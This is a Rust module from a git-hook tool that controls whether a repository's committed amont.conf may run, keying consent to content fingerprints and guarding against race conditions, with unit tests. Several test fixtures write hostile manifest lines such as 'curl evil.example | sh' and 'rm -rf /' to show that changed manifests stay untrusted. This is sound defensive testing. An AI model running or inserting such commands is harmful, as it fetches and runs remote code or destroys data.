greengate_runtime/trust.rs
1//! Whether this repository's `amont.conf` may run.
2//!
3//! `amont.conf` is committed, which is the point — a team shares a check by
4//! committing it. The consequence is that cloning a repository and committing to
5//! it would otherwise run commands that repository chose, and neither of those
6//! acts is one anybody performs as a decision about trust. Reviewing a diff
7//! before running it is; nothing asked for that.
8//!
9//! So the manifest is inert until somebody says otherwise, and the record is
10//! keyed on the FILE'S CONTENT rather than its path: a `git pull` that adds a
11//! command does not inherit the consent given to the file before it.
12//!
13//! ## Why `git hash-object` and not a hash of our own
14//!
15//! `amont` links no external crates (`scripts/check-no-deps.sh`), and the
16//! only hash in `std` is `DefaultHasher` — SipHash with a fixed key, which is
17//! not collision-resistant and would let a crafted manifest match a trusted
18//! one's fingerprint. Writing SHA-256 by hand is a hundred lines nobody would
19//! review as carefully as they should.
20//!
21//! `git` is already a hard dependency of every path in this binary, and
22//! `git hash-object` is the identity git itself uses for content. It is SHA-1
23//! (or SHA-256 in a repository configured for it), which is not a strong
24//! guarantee against a determined attacker with a chosen-prefix collision — but
25//! it is enormously better than SipHash, costs no dependency, and a user can
26//! reproduce it by hand to check what they trusted:
27//!
28//! ```text
29//! $ git hash-object --no-filters amont.conf
30//! ```
31//!
32//! `--no-filters` is not decoration. Without it git applies the clean filter
33//! and eol conversion that the repository's own committed `.gitattributes`
34//! asks for — so the repository would be choosing the transform its consent is
35//! taken through, and two manifests this parser reads differently can be given
36//! the same id. Consent is bound to the bytes we PARSE.
37
38use crate::names::BIN;
39use std::path::Path;
40
41use crate::ui::valid_sign;
42
43/// Where the decision is recorded. Local, never committed — a repository must
44/// not be able to declare itself trusted.
45///
46/// MULTI-VALUED, and that is the whole point. `--local` config is shared by every
47/// worktree of a repository, so a single value meant worktrees fought over it:
48/// trusting one checkout made every other checkout on a different branch report
49/// `TRUSTED ONCE, AND CHANGED SINCE`, and its declared checks stop running until
50/// somebody re-trusts — which then breaks the first one. With one worktree per
51/// task, as `git worktree` workflows have, the record never settles.
52///
53/// A set fixes it without moving the record anywhere, because trust here has
54/// always been keyed on CONTENT rather than on place: the question is "have these
55/// exact bytes been reviewed", and the answer does not depend on which checkout is
56/// asking. Two worktrees with the same amont.conf need one acceptance between
57/// them; two with different manifests hold one entry each.
58///
59/// The cost, stated plainly: reverting a manifest to bytes accepted earlier no
60/// longer asks again, where a single-valued record would have. That is the
61/// definition working as written — those bytes WERE reviewed — but it is a
62/// weaker guarantee than before, and [`KEEP`] bounds how far back it reaches.
63///
64/// `--worktree` config was the other candidate. It needs
65/// `extensions.worktreeConfig=true` on the repository, which is amont writing a
66/// repo-wide git setting other tools also read, to fix a problem of its own.
67pub const KEY: &str = "amont.trusted";
68
69/// Content id of `path`, as git would compute it.
70///
71/// `--no-filters`, because consent is bound to CONTENT and the content that
72/// matters is the bytes we PARSE. Plain `git hash-object` applies the clean
73/// filter and eol conversion configured by the repository's own committed
74/// `.gitattributes` — so a repo that declares `amont.conf ident` (or
75/// `text eol=crlf`) chooses the transform its fingerprint is taken through,
76/// and two manifests we would parse differently can hash identically. The
77/// binding was to content-after-a-repo-controlled-transform.
78pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
79 crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
80}
81
82/// The same identity, for bytes already in hand.
83///
84/// `--stdin` is never filtered, so this names exactly the buffer given to it.
85/// Used where the caller has read the file and is about to act on THAT read:
86/// hashing the path again would be a second read, and the two can differ.
87pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
88 crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
89}
90
91/// What the repository has recorded, if anything.
92pub fn recorded(repo: &Path) -> Vec<String> {
93 crate::git::stdout_in(repo, &["config", "--local", "--get-all", KEY])
94 .map(|out| {
95 out.lines()
96 .map(str::trim)
97 .filter(|l| !l.is_empty())
98 .map(str::to_string)
99 .collect()
100 })
101 .unwrap_or_default()
102}
103
104#[derive(Debug, Clone, Copy, PartialEq, Eq)]
105pub enum State {
106 /// No manifest. The overwhelmingly common case, and it must cost nothing.
107 NoManifest,
108 /// Trusted, and the file still has the bytes that were trusted.
109 Trusted,
110 /// Never trusted here.
111 Untrusted,
112 /// Trusted once, and edited since. Distinct from `Untrusted` because the
113 /// message should say which happened — "somebody changed it" is a different
114 /// thing to tell a reader than "you have not looked at this yet".
115 Changed,
116}
117
118/// Decide whether `repo`'s manifest may run.
119pub fn state(repo: &Path) -> State {
120 let manifest = repo.join(crate::manifest::MANIFEST);
121 if !manifest.is_file() {
122 return State::NoManifest;
123 }
124 let Some(current) = fingerprint(repo, &manifest) else {
125 // Cannot compute it, so cannot claim it matches.
126 return State::Untrusted;
127 };
128 verdict(repo, ¤t)
129}
130
131/// The same decision, about bytes the caller already holds.
132///
133/// For anyone who has read the manifest and is about to act on THAT read.
134/// Re-opening the file to decide whether the first read may run is two reads of
135/// something that can change in between, and the whole point of the record is
136/// that it names the content being executed.
137pub fn state_of(repo: &Path, source: &[u8]) -> State {
138 let Some(current) = fingerprint_bytes(repo, source) else {
139 return State::Untrusted;
140 };
141 verdict(repo, ¤t)
142}
143
144fn verdict(repo: &Path, current: &str) -> State {
145 let seen = recorded(repo);
146 if seen.iter().any(|s| s == current) {
147 State::Trusted
148 } else if seen.is_empty() {
149 State::Untrusted
150 } else {
151 State::Changed
152 }
153}
154
155/// Record the manifest as it stands now.
156pub fn record(repo: &Path) -> Result<String, String> {
157 let manifest = repo.join(crate::manifest::MANIFEST);
158 let fp = fingerprint(repo, &manifest)
159 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
160 record_verified(repo, &fp)?;
161 Ok(fp)
162}
163
164/// Record `fp` as trusted, but ONLY if the manifest still hashes to it.
165///
166/// The gap this closes: `describe()` prints the manifest, then — in
167/// `install::offer_trust` — `confirm()` blocks on a keypress, sometimes for
168/// several seconds, before anything is recorded. A plain re-hash at that
169/// point trusts whatever is on disk THEN, which is not necessarily what was
170/// shown; a file changed in that window would be trusted without ever having
171/// been reviewed, which is the exact thing this module exists to prevent.
172/// Callers fingerprint what they show BEFORE asking, and pass that same
173/// value here — verified again, not merely assumed, once the answer is in.
174pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
175 let manifest = repo.join(crate::manifest::MANIFEST);
176 let now = fingerprint(repo, &manifest)
177 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
178 if now != fp {
179 return Err(format!(
180 "{} changed since it was shown — nothing was trusted; run `{BIN} trust` again to review it",
181 crate::manifest::MANIFEST
182 ));
183 }
184 // Already accepted — adding it again would grow the list for nothing.
185 if recorded(repo).iter().any(|s| s == fp) {
186 return Ok(());
187 }
188 let ok = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, fp]).is_some();
189 if !ok {
190 return Err(format!("cannot record {KEY} in this repository"));
191 }
192 prune(repo);
193 Ok(())
194}
195
196/// Forget it.
197pub fn revoke(repo: &Path) -> Result<(), String> {
198 // `--unset-all` exits 5 when the key is absent, which is not a failure here.
199 // ALL of them: revoking means this repository trusts nothing, and leaving a
200 // sibling worktree's fingerprint behind would mean `--revoke` did not.
201 let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]);
202 Ok(())
203}
204
205/// How many accepted fingerprints to keep.
206///
207/// One per checkout that is currently on a different branch is the shape this
208/// serves, plus a little history. Unbounded, `.git/config` would grow a line per
209/// edit of the manifest, forever.
210const KEEP: usize = 16;
211
212/// Trim the oldest entries once the list is longer than [`KEEP`].
213///
214/// Best-effort by design: the new value was already added before this runs, so a
215/// failure here leaves a list that is correct and merely longer than intended,
216/// never one that has lost the fingerprint somebody just accepted.
217fn prune(repo: &Path) {
218 let all = recorded(repo);
219 if all.len() <= KEEP {
220 return;
221 }
222 let keep: Vec<String> = all[all.len() - KEEP..].to_vec();
223 if crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]).is_none() {
224 return;
225 }
226 for fp in keep {
227 let _ = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, &fp]);
228 }
229}
230
231/// The reason an external does not run, phrased for the check's own report.
232pub fn why(state: State) -> Option<&'static str> {
233 match state {
234 State::NoManifest | State::Trusted => None,
235 // Kept as written: this text is the `reason` value of `list --json`,
236 // and a --json value does not change with the rename.
237 State::Untrusted => {
238 Some("declared in an untrusted amont.conf — review it, then `amont trust`")
239 }
240 State::Changed => {
241 Some("amont.conf changed since it was trusted — review it, then `amont trust`")
242 }
243 }
244}
245
246/// Show what the manifest declares, so the decision is made with it in view.
247///
248/// Printing the lines is the whole point: "trust this file" is not a question
249/// anybody can answer without seeing it, and a prompt that does not show it is
250/// a prompt that trains people to press y.
251pub fn describe(repo: &Path) -> String {
252 describe_source(
253 &std::fs::read_to_string(repo.join(crate::manifest::MANIFEST)).unwrap_or_default(),
254 )
255}
256
257/// The same listing, rendered from text the caller already read.
258///
259/// So that what is SHOWN and what is FINGERPRINTED come from one read. Two
260/// reads of a file somebody is deciding about can disagree, and the decision
261/// would then be recorded about bytes nobody was shown.
262pub fn describe_source(text: &str) -> String {
263 use std::fmt::Write;
264 let mut out = String::new();
265 let lines = crate::manifest::parse_lines(text);
266 // Policy and tool-pin lines are rendered as their own blocks below —
267 // they are not checks, and running them through the check table printed
268 // them as `! broken`, which told the person consenting that something
269 // was WRONG with the very lines they were being asked to approve.
270 let (checks, rest): (Vec<_>, Vec<_>) = lines.into_iter().partition(|l| l.is_check());
271 for line in checks {
272 let (name, stage, parsed) = line.into_parts();
273 // Every field here is repo-controlled, and this is the text somebody
274 // is about to say yes to. Sanitised BEFORE the padding, so the column
275 // widths are computed on what is actually printed — an escape sequence
276 // is zero columns wide and would silently shift the alignment even if
277 // it did nothing worse. See `ui::sanitize` for what a concealed
278 // declaration bought.
279 let name = crate::ui::sanitize(&name);
280 match parsed {
281 Ok(declared) => {
282 let _ = writeln!(
283 out,
284 " {name:<14} {:<10} {}",
285 stage.as_str(),
286 crate::ui::sanitize(&declared.command())
287 );
288 }
289 Err(why) => {
290 let _ = writeln!(
291 out,
292 " {name:<14} {:<10} ! {}",
293 stage.as_str(),
294 crate::ui::sanitize(&why.to_string())
295 );
296 }
297 }
298 }
299 let pins: Vec<String> = rest
300 .iter()
301 .filter_map(|l| match l {
302 crate::manifest::Line::Tool(pin) => {
303 Some(format!("tool {} {}", pin.program, pin.want))
304 }
305 _ => None,
306 })
307 .collect();
308 let policy: Vec<String> = rest
309 .iter()
310 .filter_map(|l| match l {
311 crate::manifest::Line::Policy { what, .. } => Some(what.describe()),
312 _ => None,
313 })
314 .collect();
315 if !policy.is_empty() {
316 let _ = writeln!(out, " and sets policy for built-in checks:");
317 for p in policy {
318 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
319 }
320 }
321 let tree: Vec<String> = rest
322 .iter()
323 .filter_map(|l| match l {
324 crate::manifest::Line::Tree(gate) => Some(format!(
325 "{:<14} {:<10} {}",
326 gate.name,
327 gate.tool.as_str(),
328 gate.command
329 )),
330 _ => None,
331 })
332 .collect();
333 if !tree.is_empty() {
334 let _ = writeln!(
335 out,
336 " and declares whole-tree gates (run at commit, never decide it):"
337 );
338 for t in tree {
339 let _ = writeln!(out, " {}", crate::ui::sanitize(&t));
340 }
341 }
342 if !pins.is_empty() {
343 let _ = writeln!(out, " and pins tool versions (verified, warn-only):");
344 for p in pins {
345 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
346 }
347 }
348 out
349}
350
351/// A yes/no on the terminal, or `false` when there is nobody to ask.
352///
353/// Reads `/dev/tty` rather than stdin: git hands a hook a pipe, and a prompt
354/// that read stdin would consume something else's input. Same reason
355/// `package-lock` does it, and the third copy of this is where it becomes a
356/// shared function.
357#[cfg(unix)]
358pub fn confirm(prompt: &str) -> bool {
359 use std::io::{BufRead, BufReader};
360 let Ok(tty) = std::fs::File::open("/dev/tty") else {
361 return false;
362 };
363 // A prompt is talk, never data: on stderr, so it shows when stdout is
364 // redirected and the question is still asked on the terminal. Rust's
365 // stderr is unbuffered, so nothing needs flushing before the read.
366 eprint!("{prompt}");
367 let mut line = String::new();
368 if BufReader::new(tty).read_line(&mut line).is_err() {
369 return false;
370 }
371 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
372}
373
374/// `CONIN$` is the console's `/dev/tty`: it reaches the keyboard even when
375/// something else holds stdin. Before this, Windows always declined —
376/// `amont trust` could never be granted interactively there, so every
377/// declared check spent its life politely disabled for the Windows
378/// minority of a team.
379///
380/// **Gated on stdin actually being a console**, which is the whole
381/// difference between this and `/dev/tty`. Opening `/dev/tty` FAILS with no
382/// controlling terminal, so unix gets its "nobody to ask" answer for free;
383/// `CONIN$` opens whenever the process has a console at all — which a CI
384/// runner does — and then blocks forever on a read nobody will answer.
385/// That is not hypothetical: it hung four install tests until the Windows
386/// job timed out, at 20 minutes, the first time this shipped without the
387/// gate. A redirected stdin (git handing a hook a pipe, a test using
388/// `Stdio::null()`, a script piping input) therefore declines, exactly as
389/// before — the prompt is for a human who typed a command, and a human who
390/// typed a command has a console on stdin.
391#[cfg(windows)]
392pub fn confirm(prompt: &str) -> bool {
393 use std::io::{BufRead, BufReader};
394 if !stdin_is_a_console() {
395 return false;
396 }
397 let Ok(con) = std::fs::File::open("CONIN$") else {
398 return false;
399 };
400 // A prompt is talk, never data: on stderr, so it shows when stdout is
401 // redirected and the question is still asked on the terminal. Rust's
402 // stderr is unbuffered, so nothing needs flushing before the read.
403 eprint!("{prompt}");
404 let mut line = String::new();
405 if BufReader::new(con).read_line(&mut line).is_err() {
406 return false;
407 }
408 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
409}
410
411/// Whether stdin is a real console rather than a pipe, a file, or `NUL`.
412///
413/// `GetConsoleMode` succeeds only for a console handle — the standard way
414/// to ask on Windows, and one kernel32 call, so this stays dependency-free
415/// like the signal handler in `staged_only`.
416#[cfg(windows)]
417fn stdin_is_a_console() -> bool {
418 const STD_INPUT_HANDLE: u32 = -10i32 as u32;
419 #[link(name = "kernel32")]
420 extern "system" {
421 fn GetStdHandle(which: u32) -> *mut std::ffi::c_void;
422 fn GetConsoleMode(handle: *mut std::ffi::c_void, mode: *mut u32) -> i32;
423 }
424 let mut mode = 0u32;
425 unsafe {
426 let handle = GetStdHandle(STD_INPUT_HANDLE);
427 if handle.is_null() {
428 return false;
429 }
430 GetConsoleMode(handle, &mut mode) != 0
431 }
432}
433
434/// Neither `/dev/tty` nor a console: nobody to ask, which declines.
435#[cfg(not(any(unix, windows)))]
436pub fn confirm(_prompt: &str) -> bool {
437 false
438}
439
440/// `amont trust [--show|--revoke]`.
441pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
442 // Refuse rather than fall back to ".". Trust is RECORDED per repository,
443 // keyed by the root this resolves to, so a "." root outside a repository
444 // meant `amont trust` in `~` would read `~/amont.conf`, show its
445 // declarations, and record trust for them — against a repository that does
446 // not exist, in a state no later `amont trust --revoke` would find.
447 let root = crate::hooks::common::repo_root_checked()?;
448 let root = Path::new(&root);
449 let flag = |f: &str| args.iter().any(|a| a == f);
450
451 if flag("--revoke") {
452 revoke(root)?;
453 println!("{} amont.conf is no longer trusted here", valid_sign());
454 return Ok(());
455 }
456
457 let state = state(root);
458 if state == State::NoManifest {
459 println!("no {} in this repository", crate::manifest::MANIFEST);
460 return Ok(());
461 }
462
463 if flag("--show") {
464 println!("{}", crate::manifest::MANIFEST);
465 print!("{}", describe(root));
466 println!(
467 " {}",
468 match state {
469 State::Trusted => "trusted here",
470 State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
471 _ => "not trusted here — not running",
472 }
473 );
474 return Ok(());
475 }
476
477 if state == State::Trusted {
478 println!("{} already trusted, unchanged", valid_sign());
479 return Ok(());
480 }
481
482 // One read: the bytes shown are the bytes fingerprinted, and
483 // `record_verified` then confirms they are still the bytes on disk. Read
484 // twice, and the listing somebody approved need not be what got recorded.
485 let manifest = root.join(crate::manifest::MANIFEST);
486 let source =
487 std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
488 let fp = fingerprint_bytes(root, &source)
489 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
490 println!("{} declares:", crate::manifest::MANIFEST);
491 print!("{}", describe_source(&String::from_utf8_lossy(&source)));
492 record_verified(root, &fp)?;
493 println!("{} trusted ({fp})", valid_sign());
494 Ok(())
495}
496
497#[cfg(test)]
498mod tests {
499 use super::*;
500
501 fn repo(name: &str) -> std::path::PathBuf {
502 let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
503 let _ = std::fs::remove_dir_all(&d);
504 std::fs::create_dir_all(&d).unwrap();
505 std::process::Command::new("git")
506 .args(["init", "-q", "--template=", "."])
507 .current_dir(&d)
508 .output()
509 .expect("git");
510 d
511 }
512
513 fn write_manifest(dir: &Path, body: &str) {
514 std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
515 }
516
517 /// Ninety-six repositories have no manifest. That must be free and silent.
518 #[test]
519 fn no_manifest_is_not_a_trust_question() {
520 let d = repo("none");
521 assert_eq!(state(&d), State::NoManifest);
522 assert_eq!(why(State::NoManifest), None);
523 let _ = std::fs::remove_dir_all(&d);
524 }
525
526 #[test]
527 fn a_manifest_starts_untrusted() {
528 let d = repo("new");
529 write_manifest(&d, "pre-commit a * block echo hi\n");
530 assert_eq!(state(&d), State::Untrusted);
531 let _ = std::fs::remove_dir_all(&d);
532 }
533
534 #[test]
535 fn recording_makes_it_trusted() {
536 let d = repo("record");
537 write_manifest(&d, "pre-commit a * block echo hi\n");
538 record(&d).expect("record");
539 assert_eq!(state(&d), State::Trusted);
540 let _ = std::fs::remove_dir_all(&d);
541 }
542
543 /// The property the whole design turns on: consent is to CONTENT, so a
544 /// `git pull` that adds a command cannot inherit it.
545 #[test]
546 fn editing_the_manifest_revokes_trust() {
547 let d = repo("edit");
548 write_manifest(&d, "pre-commit a * block echo hi\n");
549 record(&d).expect("record");
550 assert_eq!(state(&d), State::Trusted);
551
552 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
553 assert_eq!(
554 state(&d),
555 State::Changed,
556 "a manifest edited after trusting must not still be trusted"
557 );
558 // And it says which happened, because "you have not looked at this" is
559 // a different sentence to "somebody changed it".
560 assert!(why(State::Changed).expect("reason").contains("changed"));
561 let _ = std::fs::remove_dir_all(&d);
562 }
563
564 /// The TOCTOU `record_verified` exists to close: `install::offer_trust`
565 /// fingerprints what it showed, waits on a keypress, then must not trust
566 /// whatever is on disk by the time the answer comes back if that is not
567 /// what was actually shown.
568 #[test]
569 fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
570 let d = repo("changed-mid-confirm");
571 write_manifest(&d, "pre-commit a * block echo hi\n");
572 let manifest = d.join(crate::manifest::MANIFEST);
573 let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
574
575 // The file is rewritten in the window a real confirm() would have
576 // been blocking on a keypress.
577 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
578
579 let err = record_verified(&d, &shown_fp).expect_err("must refuse");
580 assert!(err.contains("changed"), "{err}");
581 assert_eq!(
582 state(&d),
583 State::Untrusted,
584 "the rewritten content must not end up trusted"
585 );
586 let _ = std::fs::remove_dir_all(&d);
587 }
588
589 /// The ordinary path still works: nothing changed, so the fingerprint
590 /// shown is the fingerprint recorded.
591 #[test]
592 fn record_verified_accepts_a_manifest_that_did_not_change() {
593 let d = repo("unchanged");
594 write_manifest(&d, "pre-commit a * block echo hi\n");
595 let manifest = d.join(crate::manifest::MANIFEST);
596 let fp = fingerprint(&d, &manifest).expect("fingerprint");
597 record_verified(&d, &fp).expect("record");
598 assert_eq!(state(&d), State::Trusted);
599 let _ = std::fs::remove_dir_all(&d);
600 }
601
602 #[test]
603 fn revoking_returns_it_to_untrusted() {
604 let d = repo("revoke");
605 write_manifest(&d, "pre-commit a * block echo hi\n");
606 record(&d).expect("record");
607 revoke(&d).expect("revoke");
608 assert_eq!(state(&d), State::Untrusted);
609 // Twice is not an error: `git config --unset` exits 5 on a missing key.
610 revoke(&d).expect("revoke again");
611 let _ = std::fs::remove_dir_all(&d);
612 }
613
614 /// The bug this file was changed for.
615 ///
616 /// `--local` config is shared by every worktree, so with a single value the
617 /// two checkouts below take turns invalidating each other and neither ever
618 /// settles. Both manifests were reviewed; both must stay accepted.
619 #[test]
620 fn two_worktrees_with_different_manifests_do_not_evict_each_other() {
621 let d = repo("worktrees");
622 let a = "pre-commit a * block echo a\n";
623 let b = "pre-commit b * block echo b\n";
624
625 write_manifest(&d, a);
626 record(&d).expect("accept a");
627 assert_eq!(state(&d), State::Trusted);
628
629 // the sibling worktree, on another branch, accepts its own manifest
630 write_manifest(&d, b);
631 record(&d).expect("accept b");
632 assert_eq!(state(&d), State::Trusted);
633
634 // and the first one is STILL trusted — this is what used to say Changed
635 write_manifest(&d, a);
636 assert_eq!(
637 state(&d),
638 State::Trusted,
639 "accepting a second manifest evicted the first"
640 );
641 let _ = std::fs::remove_dir_all(&d);
642 }
643
644 /// A manifest nobody ever accepted is still Changed, not Trusted: the set
645 /// must not turn into "anything goes once you have trusted one thing".
646 #[test]
647 fn an_unseen_manifest_is_still_changed() {
648 let d = repo("unseen");
649 write_manifest(&d, "pre-commit a * block echo a\n");
650 record(&d).expect("record");
651 write_manifest(&d, "pre-commit evil * block curl example.com\n");
652 assert_eq!(state(&d), State::Changed);
653 let _ = std::fs::remove_dir_all(&d);
654 }
655
656 /// Revoke means this repository trusts nothing — not "all but the sibling's".
657 #[test]
658 fn revoke_clears_every_accepted_fingerprint() {
659 let d = repo("revoke-all");
660 write_manifest(&d, "pre-commit a * block echo a\n");
661 record(&d).expect("a");
662 write_manifest(&d, "pre-commit b * block echo b\n");
663 record(&d).expect("b");
664 revoke(&d).expect("revoke");
665 assert!(recorded(&d).is_empty(), "revoke left a fingerprint behind");
666 assert_eq!(state(&d), State::Untrusted);
667 write_manifest(&d, "pre-commit a * block echo a\n");
668 assert_eq!(state(&d), State::Untrusted);
669 let _ = std::fs::remove_dir_all(&d);
670 }
671
672 /// Accepting the same bytes twice must not grow the list.
673 #[test]
674 fn re_accepting_the_same_manifest_is_idempotent() {
675 let d = repo("idempotent");
676 write_manifest(&d, "pre-commit a * block echo a\n");
677 record(&d).expect("once");
678 record(&d).expect("twice");
679 assert_eq!(recorded(&d).len(), 1);
680 let _ = std::fs::remove_dir_all(&d);
681 }
682
683 /// The list is bounded, or `.git/config` grows a line per manifest edit
684 /// forever.
685 #[test]
686 fn the_accepted_list_is_capped() {
687 let d = repo("capped");
688 for i in 0..KEEP + 5 {
689 write_manifest(&d, &format!("pre-commit a{i} * block echo {i}\n"));
690 record(&d).expect("record");
691 }
692 assert_eq!(recorded(&d).len(), KEEP);
693 // the most recent survives, the oldest does not
694 assert_eq!(state(&d), State::Trusted);
695 write_manifest(&d, "pre-commit a0 * block echo 0\n");
696 assert_eq!(state(&d), State::Changed);
697 let _ = std::fs::remove_dir_all(&d);
698 }
699
700 /// Reproducible by hand, which is the point of using git's own identity.
701 #[test]
702 fn the_fingerprint_is_git_hash_object() {
703 let d = repo("fp");
704 write_manifest(&d, "pre-commit a * block echo hi\n");
705 let manifest = d.join(crate::manifest::MANIFEST);
706 let ours = fingerprint(&d, &manifest).expect("fingerprint");
707 let theirs = String::from_utf8_lossy(
708 &std::process::Command::new("git")
709 .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
710 .current_dir(&d)
711 .output()
712 .expect("git")
713 .stdout,
714 )
715 .trim()
716 .to_string();
717 assert_eq!(ours, theirs);
718 let _ = std::fs::remove_dir_all(&d);
719 }
720 /// A repository must not choose the transform its own consent is taken
721 /// through.
722 ///
723 /// `.gitattributes` is committed, so the repo picks the clean filter; plain
724 /// `git hash-object` applies it. With one that collapses everything to a
725 /// constant, two manifests this parser reads DIFFERENTLY are given the same
726 /// id — so a trusted fingerprint would cover content nobody reviewed.
727 #[test]
728 fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
729 let d = repo("filter");
730 std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
731 .expect("write attributes");
732 let ok = std::process::Command::new("git")
733 .args(["config", "--local", "filter.flatten.clean", "echo same"])
734 .current_dir(&d)
735 .status()
736 .map(|s| s.success())
737 .unwrap_or(false);
738 if !ok {
739 return; // no git to configure; nothing to assert
740 }
741 let manifest = d.join(crate::manifest::MANIFEST);
742
743 write_manifest(&d, "pre-commit a * block echo one\n");
744 let filtered_a = raw_hash(&d, &manifest);
745 let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
746
747 write_manifest(&d, "pre-commit b * block rm -rf /\n");
748 let filtered_b = raw_hash(&d, &manifest);
749 let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
750
751 // The collision has to EXIST before its absence means anything. A
752 // clean filter is an external program run through git's own shell, and
753 // whether `echo` resolves that way is the platform's business, not
754 // ours — Git for Windows does not collapse these. Say so and stop,
755 // rather than report a fixture that would not build as a defect in the
756 // code under test. `an_eol_conversion_cannot_...` below covers the same
757 // property with no external program involved and runs everywhere.
758 if filtered_a != filtered_b {
759 println!(
760 "! clean filters do not apply here — collision not reproducible, \
761 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
762 );
763 return;
764 }
765 assert_ne!(
766 ours_a, ours_b,
767 "the fingerprint followed a repo-controlled filter"
768 );
769 }
770
771 /// The same property, with git's own eol conversion instead of an external
772 /// filter — so it holds on every platform.
773 ///
774 /// `.gitattributes` is COMMITTED, so the repository chooses the conversion.
775 /// Under `text eol=lf`, git's clean step normalises CRLF to LF, and two
776 /// files differing only in line endings hash identically. That is a weaker
777 /// lever than a clean filter (the parser reads both the same way), but it
778 /// is the same mistake: the id names content-after-a-repo-controlled
779 /// transform rather than the bytes we read.
780 #[test]
781 fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
782 let d = repo("eol");
783 std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
784 .expect("write attributes");
785 let manifest = d.join(crate::manifest::MANIFEST);
786
787 // Byte-different, line-ending-identical-after-normalisation.
788 std::fs::write(&manifest, b"pre-commit a * block echo one\r\n").expect("crlf");
789 let filtered_crlf = raw_hash(&d, &manifest);
790 let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
791
792 std::fs::write(&manifest, b"pre-commit a * block echo one\n").expect("lf");
793 let filtered_lf = raw_hash(&d, &manifest);
794 let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
795
796 if filtered_crlf != filtered_lf {
797 println!("! eol conversion does not apply here — collision not reproducible");
798 return;
799 }
800 assert_ne!(
801 ours_crlf, ours_lf,
802 "the fingerprint followed a repo-controlled eol conversion"
803 );
804 }
805
806 fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
807 String::from_utf8_lossy(
808 &std::process::Command::new("git")
809 .args(["hash-object", manifest.to_str().unwrap()])
810 .current_dir(dir)
811 .output()
812 .expect("git")
813 .stdout,
814 )
815 .trim()
816 .to_string()
817 }
818}